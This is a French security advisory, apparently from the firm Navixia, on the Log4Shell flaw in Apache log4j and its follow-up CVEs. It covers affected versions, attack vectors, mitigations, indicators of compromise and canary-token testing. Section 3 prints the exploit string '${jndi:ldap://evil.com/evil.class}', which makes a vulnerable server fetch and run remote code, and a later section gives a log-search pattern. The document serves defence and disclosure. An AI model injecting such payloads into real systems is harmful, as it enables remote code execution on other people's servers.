[CRITIQUE] Vulnérabilité Apache log4j (CVE-2021-44228)

Important: Le projet log4j a d'abord proposé une version 2.15.0 pour résoudre ce problème. Toutefois, une nouvelle vulnérabilité (CVE-2021-45046) a été découverte dans cette version et vendredi 17 décembre, le score CVSS de cette dernière a été augmenté à 9.0 ce qui la rend critique. La nouvelle version 2.16.0 doit donc être utilisée.

Important: Cet article mentionnait initialement que l'utilisation d'une version récente de Java (JVM) permettait de réduire le risque lié à cette vulnérabilité. Or depuis lundi 13 décembre 2021 à 13:00 CET cela ne semble plus être le cas puisque des méthodes de contournement ont été identifiées.

Important: Une vulnérabilité de type "déni de service" a été découverte dans la version 2.16.0 le vendredi 17 décembre dans la soirée. Cette vulnérabilité s'est vu assignée le numéro CVE-2021-45105 avec un score CVSS de 7.5. Pour résoudre ce problème les versions 2.12.3 (pour Java 7) ou 2.17.0 (pour Java 8) doivent être utilisées.

Dernière mise à jour : 24.12.2021 / 10:30 CET

1 Introduction

Vendredi 10 décembre 2021, la CVE-2021-44228 a été rendue publique et nous considérons que cette vulnérabilité pourrait être la plus critique depuis au moins une décennie.

CVE-2021-44228 (maintenant connue sous le nom de log4shell) a un score CVSS de 10.0 et permet l'exécution de code à distance dans la librairie de journalisation Java Apache log4j v2.x. Comme cette vulnérabilité touche une librairie utilisée par la majorité des applications Java, cela signifie qu'une exécution de code à distance est possible dans de nombreux produits, logiciels et services cloud construits sur des composants Java.

Depuis vendredi, l'équipe Navixia travaille avec ses partenaires pour évaluer la criticité de cette vulnérabilité dans leurs produits et nous faisons de notre mieux pour vous fournir des informations à jour, même si la situation évolue d'heure en heure.

2 Versions affectées

Les versions d'Apache log4j comprises entre 2.0-beta9 et 2.14.1 sont vulnérables. La version 2.15.0 de log4j a été publiée vendredi 10 décembre 2021 et corrige le problème.

Log4x v1.x est encore utilisé par de nombreuses applications. Même si elle n'est plus supportée, elle n'est pas affectée par cette vulnérabilité.

3 Détails techniques

Log4j est la librairie Java de facto utilisée pour la journalisation dans les applications Java. Sa fonction de base consiste à prendre une chaîne de caractères et à l'écrire dans un fichier journal (log).

En juillet 2013, log4J a ajouté le support de l'interface Java Naming and Directory via un plugin JNDILookup. L'idée derrière ce plugin était de permettre la consultation de données externes, généralement pour enrichir les messages de logs. La recherche se fait en récupérant un objet Java (une classe) et en l'exécutant localement. Cela signifie qu'un seul message de log peut déclencher une connexion à un service externe, permettant de récupérer et exécuter du code Java! Cette opération de récupération peut se faire via différents protocoles tels que CORBA, RMI (Remote Method Interface) ou LDAP.

Le 24 novembre 2021, l'équipe de sécurité d'Alibaba Cloud a signalé que cette connexion pouvait en fait être contrôlée par un attaquant en incluant la chaîne suivante dans le message qui sera enregistré :

${jndi:ldap://evil.com/evil.class}

Lorsque log4j traite un message contenant cette chaîne, il fait une requête à evil.com, récupère l'objet Java evil.class et l'exécute !

4 Vecteur d'attaque

Malheureusement, la surface d'attaque de cette vulnérabilité est gigantesque. Toute application Java utilisant log4j v2.x pour gérer des messages, et où le contenu du message peut être contrôlé par un attaquant, est à risque.

Jusqu'à présent, les vecteurs d'attaque les plus courants constatés sont les suivants :

• Un nom d'utilisateur
• Un paramètre HTTP GET et POST
• Tout en-tête HTTP
  • Agent utilisateur
  • Referrer
  • X-Forwarded-For
• Un nom d'hôte

Cette liste est cependant infinie.

5 Limitation du risque

5.1 Bloquer les connexions sortantes

L'action immédiate recommandée par Navixia est de bloquer les connexions sortantes des serveurs exécutant des applications Java jusqu'à ce qu'un examen plus approfondi soit possible. Cela permettra de s'assurer qu'un attaquant ne peut pas aller récupérer une classe Java depuis Internet.

5.2 Mettre à jour la JVM utilisée par l'application

UPDATE: Depuis le lundi 13 décembre 2021 à 13:00 CET cette solution ne semble plus être valide puisque des méthodes de contournement ont été identifiées.

Ensuite, l'exécution d'une version récente de la machine virtuelle Java (JVM) peut réduire considérablement le risque (mais pas le ramener à zéro) et vous devriez examiner si une mise à niveau de la JVM est possible. Sachez que de nombreuses applications utilisent une JVM embarquée et pas nécessairement la version fournie par le système d'exploitation et, dans ces cas, une mise à niveau n'est probablement pas envisageable. Les JVM suivantes atténueront ce risque :

>=6u211, >=7u201, >=8u191 et >=11.0.1

Lors de l'exécution sur ces JVM, l'application pourra se connecter à l'hôte de l'attaquant et ira chercher la classe Java, cependant l'exécution devrait être bloquée. Ce bloquage se produit après une analyse complexe, et des faiblesses ont déjà été identifiées dans ce processus, c'est pourquoi Navixia considère qu'il existe un risque résiduel.

5.3 Identifier les applications Java utilisant log4j

Toutes les autres mesures d'atténuation nécessitent d'abord d'identifier les applications Java qui utilisent le composant log4j v2.x.

Navixia travaille en continu pour faire ce travail d'identification avec ses partenaires, et la situation actuelle de chaque fournisseur est résumée plus bas dans ce message.

Pour les applications personnalisées, contactez immédiatement les développeurs (internes ou externes) pour leur demander une évaluation de la situation.

Une fois que ces applications ont été identifiées, d'autres mesures de limitation du risque sont possibles.

5.4 Désactiver la fonction JNDILookup de log4j

Des flags peuvent être définis au démarrage d'une application Java et le flag suivant désactivera la fonction JNDILookup de log4j >=2.10 (mais pas les versions antérieures)

-Dlog4j2.formatMsgNoLookups=True

Dans de nombreux cas, le même comportement peut être obtenu en définissant une variable d'environnement au niveau du système d'exploitation.

LOG4J_FORMAT_MSG_NO_LOOKUPS=true

5.5 Supprimer la classe JNDILookup des fichiers jar

La classe JNDILookup peut être supprimée manuellement des fichiers JAR de l'application. Les fichiers JAR sont en fait des archives ZIP et la commande ZIP suivante peut être utilisée :

zip -q -d <path/to/jar/file> <path/to/JndiLookup.class>

5.6 Mise à niveau de log4j vers la version 2.12.3 (Java 7) ou 2.17.0 (Java 8)

Enfin, la version 2.15.0 de log4j qui corrige ce problème a été publiée le vendredi 10 décembre 2021. Tous les développeurs doivent donc passer immédiatement à cette dernière version et recompiler leurs applications.

A noter que c'est une action que vous ne pouvez pas vraiment faire vous-même en tant qu'utilisateur final ou entreprise cliente. En outre, cette version nécessite Java 8, de sorte que toutes les applications fonctionnant encore sur des versions plus anciennes ne pourront pas limiter le risque en mettant simplement à jour le composant log4j.

UPDATE: Le lundi 13 décembre à 11:30 CET une nouvelle vulnérabilité (CVE-2021-45046) de type déni de service (DoS) a été découverte dans la version 2.15.0 et le projet log4j a rendu disponible la version 2.16.0 qui désactive complètement le mécanisme JNDI incriminé dans cette faille.

UPDATE: Le vendredi 17 décembre à 08:00 CET une démonstration d'exploitation de la faille (CVE-2021-45046) permettant l'exécution de code à distance (RCE) a fait passer le score CVSS de cette dernière de 3.7 à 9.0, ce qui la rend critique. Il est donc nécessaire d'utiliser les versions 2.12.2 sur Java 7 et 2.16.0 sur Java 8.

UPDATE: Le vendredi 17 décembre dans la soirée une nouvelle vulnérabilité de type "déni de service" a été découverte dans la version 2.16.0. Cette vulnérabilité s'est vu assignée le numéro CVE-2021-45105 avec un score CVSS de 7.5. Pour résoudre ce problème les versions 2.12.3 (pour Java 7) ou 2.17.0 (pour Java 8) doivent être utilisées.

6 Indicateurs de compromission

En raison de l'impact mondial de cette vulnérabilité, il est raisonnable de se considérer comme "présumé compromis". Comme le nombre de vecteurs d'entrée est infini, nous recommandons de rechercher des indicateurs d'attaques effectuées.

6.1 Examiner les connexions sortantes

Vous devez examiner les logs de vos firewalls et de vos proxy pour détecter les connexions sortantes suspectes initiées depuis les serveurs qui exécutent vos application Java. Les attaques actuelles utilisent principalement LDAP sur différents ports pour récupérer la classe Java distante.

6.2 Examiner les journaux

Nous vous recommandons d'examiner vos journaux et d'y rechercher la chaîne

${jndi :

Cela vous donnera une idée des tentatives faites contre vos applications.

7 Test de la vulnérabilité

La manière la plus simple de tester cette vulnérabilité est d'injecter la chaîne JNDI à différents endroits et de surveiller l'activité sortante.

Avant de récupérer une classe Java distante, l'application doit d'abord résoudre le nom d'hôte distant via une requête DNS. La surveillance au niveau du DNS est un moyen facile d'identifier les applications potentiellement vulnérables. Comme mentionné plus haut, les JVM récentes ont d'autres moyens de protection et l'observation des requêtes DNS ne signifie donc pas nécessairement que l'application est vulnérable.

Une bonne manière d'obtenir une alerte par e-mail basée sur une requête DNS est d'utiliser un CanaryToken et notre partenaire Thinkst a rendu très simple la génération d'une telle chaîne de caractères

• Accédez à https://canarytokens.org/
  
• Choisissez le token Log4Shell dans la liste déroulante.
• Mettez une adresse e-mail qui recevra les alertes
• Choisissez une description pour vous rappeler à quoi sert ce jeton (elle apparaîtra dans les alertes e-mail)
• Cliquez sur "Create my Canarytoken". Vous obtiendrez une chaîne qui ressemble à ceci :

${jndi:ldap://<<chaîne aléatoire>.canarytokens.com/a}

Vous pouvez ensuite l'utiliser pour tester la vulnérabilité et si cette chaîne est vue et enregistrée par un composant log4j vulnérable, vous recevrez une alerte par e-mail.

8 Recommandations concernant les partenaires de Navixia

Consulter les information en anglais ici (Nous mettons l'information à jour en continu)

9 Autres recommandations

Consulter les information en anglais ici.

10 Autres liens

Consulter les information en anglais ici.

11 Conclusion

Aujourd'hui, la priorité de Navixia est de recueillir des informations à jour auprès de tous nos partenaires et de nous assurer que les solutions fonctionnant dans vos environnements ne sont pas vulnérables.

Comme d'habitude, l'ensemble de l'équipe Navixia reste disponible pour vous aider à évaluer la situation, dans les limites du temps disponible.

Cependant, veuiller noter que l'étendue de cette vulnérabilité va nécessiter des efforts de la part de tous vos partenaires et de vos techniciens.